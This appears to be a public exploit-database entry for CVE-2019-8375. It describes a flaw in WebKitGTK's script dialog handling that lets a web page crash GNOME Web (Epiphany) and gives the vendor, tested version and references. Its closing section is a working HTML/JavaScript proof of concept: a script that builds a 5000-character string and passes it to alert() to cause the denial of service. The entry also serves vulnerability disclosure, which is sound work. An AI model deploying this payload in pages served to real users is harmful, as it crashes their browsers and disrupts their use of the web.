WebKitGTK 2.23.90 / WebKitGTK+ 2.22.6 - Denial of Service Exploit

#Exploit Title: Buffer overflow
# Exploit Author: Dhiraj Mishra
# Vendor Homepage: https://webkit.org/
# Software Link: https://gitlab.gnome.org/GNOME/epiphany
# Version: 2.23.90
# Tested on: Linux 4.15.0-38-generic
# CVE: CVE-2019-8375
# References:
# https://nvd.nist.gov/vuln/detail/CVE-2019-8375
# https://www.inputzero.io/2019/02/fuzzing-webkit.html

## Summary:
The UIProcess subsystem in WebKit, as used in WebKitGTK through 2.23.90 and
WebKitGTK+ through 2.22.6 and other products, does not prevent the script
dialog size from exceeding the web view size, which allows remote attackers
to cause a denial of service (Buffer Overflow) or possibly have unspecified
other impact, related to UIProcess/API/gtk/WebKitScriptDialogGtk.cpp,
UIProcess/API/gtk/WebKitScriptDialogImpl.cpp, and
UIProcess/API/gtk/WebKitWebViewGtk.cpp, as demonstrated by GNOME Web (aka
Epiphany).

## PoC:
<script>
   var a = '';
   for (var i = 1; i <= 5000; i++)
    {
       a += 'A';
    }
   alert(a);
</script>